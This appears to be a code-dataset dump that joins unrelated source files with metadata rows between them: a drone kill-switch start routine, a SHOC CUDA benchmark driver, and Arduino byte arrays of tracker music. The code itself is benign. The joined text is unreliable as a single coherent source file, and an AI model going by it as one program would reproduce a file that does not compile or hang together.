int ReadyCheck::WaitForStartSignal() {
// Initialze the serial RC hardware
int ret = rc_dsm_init();
//Toggle the kill switch to get going, to ensure controlled take-off
//Keep kill switch down to remain operational
int count = 1, toggle = 0, reset_toggle = 0;
float switch_val[2] = {0.0f , 0.0f};
bool first_run = true;
printf("Toggle the kill swtich twice and leave up to initialize\n");
while (count < 6 && rc_get_state() != EXITING && is_running_.load()) {
// Blink the green LED light to signal that the program is ready
reset_toggle++; // Only blink the led 1 in 20 times this loop runs
if (toggle) {
rc_led_set(RC_LED_GREEN, 0);
if (reset_toggle == 20) {
toggle = 0;
reset_toggle = 0;
}
} else {
rc_led_set(RC_LED_GREEN, 1);
if (reset_toggle == 20) {
toggle = 1;
reset_toggle = 0;
}
}
if (rc_dsm_is_new_data()) {
//Skip the first run to let data history fill up
if (first_run) {
switch_val[1] = rc_dsm_ch_normalized(5);
first_run = false;
continue;
}
switch_val[1] = switch_val[0];
switch_val[0] = rc_dsm_ch_normalized(5);
if (switch_val[0] < 0.25 && switch_val[1] > 0.25)
count++;
if (switch_val[0] > 0.25 && switch_val[1] < 0.25)
count++;
}
std::this_thread::sleep_for(std::chrono::milliseconds(10)); // Run at 100 Hz
}
//make sure the kill switch is in the position to fly before starting
while (switch_val[0] < 0.25 && rc_get_state() != EXITING && is_running_.load()) {
if (rc_dsm_is_new_data()) {
switch_val[0] = rc_dsm_ch_normalized(5);
}
std::this_thread::sleep_for(std::chrono::milliseconds(10));
}
printf("\nInitialized! Starting program\n");
rc_led_set(RC_LED_GREEN, 1);
return 0;
}
| 26.974684 | 83 | 0.628813 | msardonini |
78fae6fe7970874345f18ecc5d6303ced3a896d4 | 5,270 | cpp | C++ | src/mpi/contention/cuda/CUDADriver.cpp | Knutakir/shoc | 85a7f5d4c1fe19be970f2fc97b0113bad9a2358a | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | 162 | 2015-01-25T23:22:48.000Z | 2022-03-19T12:36:05.000Z | src/mpi/contention/cuda/CUDADriver.cpp | Knutakir/shoc | 85a7f5d4c1fe19be970f2fc97b0113bad9a2358a | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | 20 | 2016-01-08T21:54:33.000Z | 2021-11-05T13:36:30.000Z | src/mpi/contention/cuda/CUDADriver.cpp | Knutakir/shoc | 85a7f5d4c1fe19be970f2fc97b0113bad9a2358a | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | 85 | 2015-01-06T15:27:13.000Z | 2022-01-24T16:49:09.000Z | #include <iostream>
#include <stdlib.h>
#include "ResultDatabase.h"
#include "OptionParser.h"
#include "Utility.h"
using namespace std;
//using namespace SHOC;
#include <cuda.h>
#include <cuda_runtime.h>
void addBenchmarkSpecOptions(OptionParser &op);
void RunBenchmark(ResultDatabase &resultDB,
OptionParser &op);
void EnumerateDevicesAndChoose(int chooseDevice, bool verbose, const char* prefix = NULL)
{
cudaSetDevice(chooseDevice);
int actualdevice;
cudaGetDevice(&actualdevice);
int deviceCount;
cudaGetDeviceCount(&deviceCount);
string deviceName = "";
for (int device = 0; device < deviceCount; ++device)
{
cudaDeviceProp deviceProp;
cudaGetDeviceProperties(&deviceProp, device);
if (device == actualdevice)
deviceName = deviceProp.name;
if (verbose)
{
cout << "Device "<<device<<":\n";
cout << " name = '"<<deviceProp.name<<"'"<<endl;
cout << " totalGlobalMem = "<<HumanReadable(deviceProp.totalGlobalMem)<<endl;
cout << " sharedMemPerBlock = "<<HumanReadable(deviceProp.sharedMemPerBlock)<<endl;
cout << " regsPerBlock = "<<deviceProp.regsPerBlock<<endl;
cout << " warpSize = "<<deviceProp.warpSize<<endl;
cout << " memPitch = "<<HumanReadable(deviceProp.memPitch)<<endl;
cout << " maxThreadsPerBlock = "<<deviceProp.maxThreadsPerBlock<<endl;
cout << " maxThreadsDim[3] = "<<deviceProp.maxThreadsDim[0]<<","<<deviceProp.maxThreadsDim[1]<<","<<deviceProp.maxThreadsDim[2]<<endl;
cout << " maxGridSize[3] = "<<deviceProp.maxGridSize[0]<<","<<deviceProp.maxGridSize[1]<<","<<deviceProp.maxGridSize[2]<<endl;
cout << " totalConstMem = "<<HumanReadable(deviceProp.totalConstMem)<<endl;
cout << " major (hw version) = "<<deviceProp.major<<endl;
cout << " minor (hw version) = "<<deviceProp.minor<<endl;
cout << " clockRate = "<<deviceProp.clockRate<<endl;
cout << " textureAlignment = "<<deviceProp.textureAlignment<<endl;
}
}
std::ostringstream chosenDevStr;
if( prefix != NULL )
{
chosenDevStr << prefix;
}
chosenDevStr << "Chose device:"
<< " name='"<<deviceName<<"'"
<< " index="<<actualdevice;
std::cout << chosenDevStr.str() << std::endl;
}
// ****************************************************************************
// Function: GPUSetup
//
// Purpose:
// do the necessary OpenCL setup for GPU part of the test
//
// Arguments:
// op: the options parser / parameter database
// mympirank: for printing errors in case of failure
// mynoderank: this is typically the device ID (the mapping done in main)
//
// Returns: success/failure
//
// Creation: 2009
//
// Modifications:
//
// ****************************************************************************
//
int GPUSetup(OptionParser &op, int mympirank, int mynoderank)
{
//op.addOption("device", OPT_VECINT, "0", "specify device(s) to run on", 'd');
//op.addOption("verbose", OPT_BOOL, "", "enable verbose output", 'v');
addBenchmarkSpecOptions(op);
// The device option supports specifying more than one device
int deviceIdx = mynoderank;
if( deviceIdx >= op.getOptionVecInt( "device" ).size() )
{
std::ostringstream estr;
estr << "Warning: not enough devices specified with --device flag for task "
<< mympirank
<< " ( node rank " << mynoderank
<< ") to claim its own device; forcing to use first device ";
std::cerr << estr.str() << std::endl;
deviceIdx = 0;
}
int device = op.getOptionVecInt("device")[deviceIdx];
bool verbose = op.getOptionBool("verbose");
int deviceCount;
cudaGetDeviceCount(&deviceCount);
if (device >= deviceCount) {
cerr << "Warning: device index: " << device <<
"out of range, defaulting to device 0.\n";
device = 0;
}
std::ostringstream pstr;
pstr << mympirank << ": ";
// Initialization
EnumerateDevicesAndChoose(device,verbose, pstr.str().c_str());
return 0;
}
// ****************************************************************************
// Function: GPUCleanup
//
// Purpose:
// do the necessary OpenCL cleanup for GPU part of the test
//
// Arguments:
// op: option parser (to be removed)
//
// Returns: success/failure
//
// Creation: 2009
//
// Modifications:
//
// ****************************************************************************
//
int GPUCleanup(OptionParser &op)
{
return 0;
}
// ****************************************************************************
// Function: GPUDriver
//
// Purpose:
// drive the GPU test in both sequential and simultaneous run (with MPI)
//
// Arguments:
// op: benchmark options to be passed down to the gpu benchmark
//
// Returns: success/failure
//
// Creation: 2009
//
// Modifications:
//
// ****************************************************************************
//
int GPUDriver(OptionParser &op, ResultDatabase &resultDB)
{
// Run the benchmark
RunBenchmark(resultDB, op);
return 0;
}
| 31 | 149 | 0.560911 | Knutakir |
78fb123b6855472cb7ed340cca1e06396cd66234 | 156,823 | cpp | C++ | game/pt3_tunes.cpp | vladpower/Gamebox | 9491675ee37ed852e533c22e2ce7331d0d7b33c6 | [
"Apache-2.0"
] | 9 | 2017-08-31T08:59:06.000Z | 2020-07-17T04:04:04.000Z | game/pt3_tunes.cpp | vladpower/Gamebox | 9491675ee37ed852e533c22e2ce7331d0d7b33c6 | [
"Apache-2.0"
] | 1 | 2019-08-04T15:24:39.000Z | 2019-08-04T15:24:39.000Z | game/pt3_tunes.cpp | vladpower/Gamebox | 9491675ee37ed852e533c22e2ce7331d0d7b33c6 | [
"Apache-2.0"
] | 7 | 2017-08-31T10:12:12.000Z | 2019-04-17T18:37:18.000Z | #include <Arduino.h>
#include "music.h"
#include "tunes.h"
const uint8_t mario[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x35, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x4d, 0x61, 0x72, 0x69, 0x6f, 0x20, 0x28, 0x4c, 0x65, 0x76,
0x65, 0x6c, 0x20, 0x31, 0x2d, 0x31, 0x29, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x47, 0x4f, 0x47, 0x49, 0x4e, 0x20, 0x6f,
0x6e, 0x20, 0x32, 0x32, 0x2e, 0x30, 0x31, 0x2e, 0x32, 0x30, 0x30, 0x32, 0x2e, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20,
/* +99 */
0x01, 0x07, 0x0e, 0x01,
/* +103 */
0xd8, 0x00, 0x00, 0x00, 0x40, 0x04, 0x9e, 0x04, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x05, 0x17, 0x05, 0x2d, 0x05, 0x43,
0x05, 0x59, 0x05, 0x66, 0x05, 0x7c, 0x05, 0x92, 0x05, 0xa8, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* 201(c9) - order */
0x00, 0x03, 0x03, 0x06, 0x06, 0x09, 0x00,
/* dx */
0x03, 0x03, 0x0c, 0x0c, 0x09, 0x00, 0x0c, 0xff, 0xf6, 0x00, 0x09, 0x01, 0x1d, 0x01, 0x31, 0x01,
0x5b, 0x01, 0x85, 0x01, 0xaf, 0x01, 0xf8, 0x01, 0x41, 0x02, 0x85, 0x02, 0xc6, 0x02, 0x07, 0x03,
/* fx */
0x32, 0x03, 0x8b, 0x03, 0xed, 0x03, 0xf0, 0x02, 0xb1, 0x01, 0x84, 0xb1, 0x02, 0x84, 0x84, 0xb1,
0x01, 0x80, 0xb1, 0x02, 0x84, 0xb1, 0x08, 0x87, 0x00, 0xf0, 0x02, 0xb1, 0x01, 0x7a, 0xb1, 0x02,
0x7a, 0x7a, 0xb1, 0x01, 0x7a, 0xb1, 0x02, 0x7a, 0xb1, 0x04, 0x7f, 0x7b, 0x00, 0xf0, 0x02, 0xb1,
0x01, 0x6a, 0xb1, 0x02, 0x6a, 0x6a, 0xb1, 0x01, 0x6a, 0xb1, 0x02, 0x6a, 0xb1, 0x04, 0x7b, 0x6f,
0x00, 0xf0, 0x02, 0xb1, 0x03, 0x80, 0x7b, 0x78, 0xb1, 0x02, 0x7d, 0x7f, 0xb1, 0x01, 0x7e, 0xb1,
0x02, 0x7d, 0xf2, 0x04, 0xb1, 0x04, 0x7b, 0xf0, 0x02, 0xb1, 0x02, 0x89, 0xb1, 0x01, 0x85, 0xb1,
0x02, 0x87, 0x84, 0xb1, 0x01, 0x80, 0x82, 0xb1, 0x03, 0x7f, 0x00, 0xf0, 0x02, 0xb1, 0x03, 0x78,
0x74, 0x6f, 0xb1, 0x02, 0x74, 0x76, 0xb1, 0x01, 0x75, 0xb1, 0x02, 0x74, 0xf3, 0x04, 0xb1, 0x04,
0x74, 0xf0, 0x02, 0xb1, 0x02, 0x80, 0xb1, 0x01, 0x7d, 0xb1, 0x02, 0x7f, 0x7d, 0xb1, 0x01, 0x78,
0x79, 0xb1, 0x03, 0x76, 0x00, 0xf0, 0x02, 0xb1, 0x03, 0x6f, 0x6c, 0x68, 0xb1, 0x02, 0x6d, 0x6f,
0xb1, 0x01, 0x6e, 0xb1, 0x02, 0x6d, 0xf1, 0x04, 0xb1, 0x04, 0x6c, 0xf0, 0x02, 0xb1, 0x02, 0x79,
0xb1, 0x01, 0x76, 0xb1, 0x02, 0x78, 0x74, 0xb1, 0x01, 0x71, 0x73, 0xb1, 0x03, 0x6f, 0x00, 0xb1,
0x02, 0xd0, 0xf0, 0x02, 0xb1, 0x01, 0x87, 0x86, 0x85, 0xb1, 0x02, 0x83, 0x84, 0xb1, 0x01, 0x7c,
0x7d, 0xb1, 0x02, 0x80, 0xb1, 0x01, 0x7d, 0x80, 0xb1, 0x03, 0x82, 0xb1, 0x01, 0x87, 0x86, 0x85,
0xb1, 0x02, 0x83, 0x84, 0x8c, 0xb1, 0x01, 0x8c, 0xb1, 0x06, 0x8c, 0xb1, 0x01, 0x87, 0x86, 0x85,
0xb1, 0x02, 0x83, 0x84, 0xb1, 0x01, 0x7c, 0x7d, 0xb1, 0x02, 0x80, 0xb1, 0x01, 0x7d, 0x80, 0xb1,
0x03, 0x82, 0x83, 0x82, 0xb1, 0x08, 0x80, 0x00, 0xb1, 0x02, 0xd0, 0xf0, 0x02, 0xb1, 0x01, 0x84,
0x83, 0x82, 0xb1, 0x02, 0x7f, 0x80, 0xb1, 0x01, 0x78, 0x79, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x74,
0x78, 0xb1, 0x03, 0x79, 0xb1, 0x01, 0x84, 0x83, 0x82, 0xb1, 0x02, 0x7f, 0x80, 0x85, 0xb1, 0x01,
0x85, 0xb1, 0x06, 0x85, 0xb1, 0x01, 0x84, 0x83, 0x82, 0xb1, 0x02, 0x7f, 0x80, 0xb1, 0x01, 0x78,
0x79, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x74, 0x78, 0xb1, 0x03, 0x79, 0x7c, 0x7e, 0xb1, 0x08, 0x78,
0x00, 0xf0, 0x02, 0xb1, 0x03, 0x68, 0x6f, 0xb1, 0x02, 0x74, 0xb1, 0x03, 0x6d, 0xb1, 0x01, 0x74,
0xb1, 0x02, 0x74, 0x6d, 0xb1, 0x03, 0x68, 0x6c, 0xb1, 0x01, 0x6f, 0xb1, 0x02, 0x74, 0x87, 0xb1,
0x01, 0x87, 0xb1, 0x02, 0x87, 0x6f, 0xb1, 0x03, 0x68, 0x6f, 0xb1, 0x02, 0x74, 0xb1, 0x03, 0x6d,
0xb1, 0x01, 0x74, 0xb1, 0x02, 0x74, 0x6d, 0x68, 0xb1, 0x03, 0x70, 0x72, 0x74, 0xb1, 0x01, 0x6f,
0xb1, 0x02, 0x6f, 0x68, 0x00, 0xb1, 0x01, 0x80, 0xb1, 0x02, 0x80, 0x80, 0xb1, 0x01, 0x80, 0xb1,
0x02, 0x82, 0xb1, 0x01, 0x84, 0xb1, 0x02, 0x80, 0xb1, 0x01, 0x7d, 0xb1, 0x04, 0x7b, 0xb1, 0x01,
0x80, 0xb1, 0x02, 0x80, 0x80, 0xb1, 0x01, 0x80, 0x82, 0xb1, 0x09, 0x84, 0xb1, 0x01, 0x80, 0xb1,
0x02, 0x80, 0x80, 0xb1, 0x01, 0x80, 0xb1, 0x02, 0x82, 0xb1, 0x01, 0x84, 0xb1, 0x02, 0x80, 0xb1,
0x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 0xf0, 0x02, 0xb1, 0x02, 0x74, 0x6f, 0xb1, 0x04, 0x68, 0x00,
0x16, 0x17, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c,
0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84,
0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x82,
0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85,
0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x81,
0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x1d,
0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00,
0x00, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00,
0x00, 0x85, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00,
0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00,
0x00, 0x84, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00,
0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00,
0x00, 0x88, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0c, 0x13, 0x14, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x09, 0x09, 0x09, 0x09, 0x09, 0x09,
0x09, 0x09, 0x0c, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x0b, 0x0a, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfc, 0x13, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xfd, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xfe,
0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfd, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x04,
};
const uint8_t cantina[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x34, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x49, 0x6e,
0x20, 0x53, 0x74, 0x61, 0x72, 0x20, 0x57, 0x61, 0x72, 0x73, 0x20, 0x50, 0x55, 0x42, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x4d, 0x61, 0x73, 0x74, 0x2f, 0x46, 0x74, 0x4c, 0x20, 0x31, 0x32, 0x2e, 0x30, 0x32,
0x2e, 0x39, 0x39, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x01, 0x06, 0x07, 0x00, 0xd1, 0x00, 0x00, 0x00, 0x60, 0x06, 0x00, 0x00, 0xbe,
0x06, 0x00, 0x00, 0x28, 0x07, 0x8e, 0x07, 0x14, 0x08, 0x9a, 0x08, 0x00, 0x00, 0xa8, 0x08, 0x00,
0x00, 0xe6, 0x08, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0x08, 0x01, 0x09, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x09, 0x0d, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x09, 0x00, 0x03, 0x09, 0x06, 0x0c, 0x06, 0x0f,
0xff, 0xf5, 0x00, 0x7d, 0x01, 0x02, 0x02, 0x6b, 0x02, 0xaf, 0x02, 0xf8, 0x02, 0x43, 0x03, 0x89,
0x03, 0xcc, 0x03, 0x02, 0x04, 0x4a, 0x04, 0x95, 0x04, 0xd4, 0x04, 0x18, 0x05, 0x5e, 0x05, 0x95,
0x05, 0xdd, 0x05, 0x20, 0x06, 0xf0, 0x1e, 0xbf, 0x00, 0x2f, 0xb1, 0x02, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x20, 0x1e, 0x86, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x20, 0x1e, 0x86, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x35, 0x1e, 0x7d, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x28, 0x1e, 0x82, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x20, 0x1e, 0x86, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x20, 0x1e, 0x86, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x23, 0x1e, 0x84, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x23, 0x1e, 0x84, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x35, 0x1e, 0x7d, 0x1e, 0x00, 0x2f,
0x10, 0x7f, 0x1e, 0x00, 0x2d, 0x1e, 0x80, 0x1e, 0x00, 0x2a, 0x10, 0x81, 0x00, 0xff, 0x14, 0xcf,
0xb1, 0x01, 0x85, 0xcb, 0x85, 0xcf, 0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x00, 0x17, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x15,
0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x13,
0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x01, 0x90, 0x00, 0x00, 0x14, 0x1a,
0x01, 0x8e, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8d, 0x00, 0x00, 0x01, 0x8d, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x01, 0x00, 0x01, 0x8c, 0x03, 0x00, 0x01, 0x8c, 0x01, 0x00, 0x01, 0x8c, 0xff, 0xff,
0x01, 0x8c, 0xfd, 0xff, 0x01, 0x8c, 0xff, 0xff, 0x18, 0x19, 0x05, 0x0f, 0x00, 0x01, 0x07, 0x0e,
0x80, 0x01, 0x09, 0x0e, 0x00, 0x02, 0x0b, 0x1e, 0x00, 0x00, 0x0b, 0x1e, 0x00, 0x00, 0x01, 0x1e,
0x00, 0x00, 0x01, 0x1e, 0x00, 0x00, 0x01, 0x1d, 0x00, 0x00, 0x01, 0x1d, 0x00, 0x00, 0x01, 0x1d,
0x00, 0x00, 0x01, 0x1c, 0x00, 0x00, 0x01, 0x1c, 0x00, 0x00, 0x01, 0x1c, 0x00, 0x00, 0x01, 0x1c,
0x00, 0x00, 0x01, 0x1b, 0x00, 0x00, 0x01, 0x1a, 0x00, 0x00, 0x01, 0x19, 0x00, 0x00, 0x01, 0x18,
0x00, 0x00, 0x01, 0x17, 0x00, 0x00, 0x01, 0x16, 0x00, 0x00, 0x01, 0x14, 0x00, 0x00, 0x01, 0x13,
0x00, 0x00, 0x01, 0x12, 0x00, 0x00, 0x01, 0x11, 0x00, 0x00, 0x01, 0x90, 0x00, 0x00, 0x20, 0x21,
0x09, 0x1e, 0x00, 0x00, 0x0b, 0x1d, 0x00, 0x00, 0x0b, 0x1d, 0x00, 0x00, 0x09, 0x1c, 0x00, 0x00,
0x05, 0x1c, 0x00, 0x00, 0x03, 0x1a, 0x00, 0x00, 0x03, 0x19, 0x00, 0x00, 0x03, 0x18, 0x00, 0x00,
0x01, 0x17, 0x00, 0x00, 0x01, 0x17, 0x00, 0x00, 0x01, 0x16, 0x00, 0x00, 0x01, 0x15, 0x00, 0x00,
0x01, 0x15, 0x00, 0x00, 0x01, 0x14, 0x00, 0x00, 0x01, 0x13, 0x00, 0x00, 0x01, 0x12, 0x00, 0x00,
0x01, 0x11, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x01, 0x80, 0x00, 0x00, 0x20, 0x21, 0x01, 0x1d, 0x00, 0x00, 0x01, 0x1c, 0x00, 0x00, 0x01, 0x1a,
0x00, 0x00, 0x01, 0x18, 0x00, 0x00, 0x01, 0x16, 0x00, 0x00, 0x01, 0x16, 0x00, 0x00, 0x01, 0x15,
0x00, 0x00, 0x01, 0x15, 0x00, 0x00, 0x01, 0x13, 0x00, 0x00, 0x01, 0x13, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x02, 0x03, 0x01, 0x1d, 0x00, 0x00,
0x01, 0x19, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x0e, 0x0f, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x8e,
0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8a,
0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x86,
0x00, 0x00, 0x01, 0x85, 0x00, 0x00, 0x01, 0x84, 0x00, 0x00, 0x01, 0x83, 0x00, 0x00, 0x01, 0x82,
0x00, 0x00, 0x01, 0x81, 0x00, 0x00, 0x03, 0x04, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00,
0x01, 0x8d, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x00, 0x01, 0x00, 0x90, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x04, 0x00, 0xfb, 0xf7, 0xf4, 0x00, 0x04, 0x00, 0xfb, 0xf8, 0xf4, 0x01, 0x02, 0x0c,
0x00, 0x00, 0x02, 0x06, 0xfa,
};
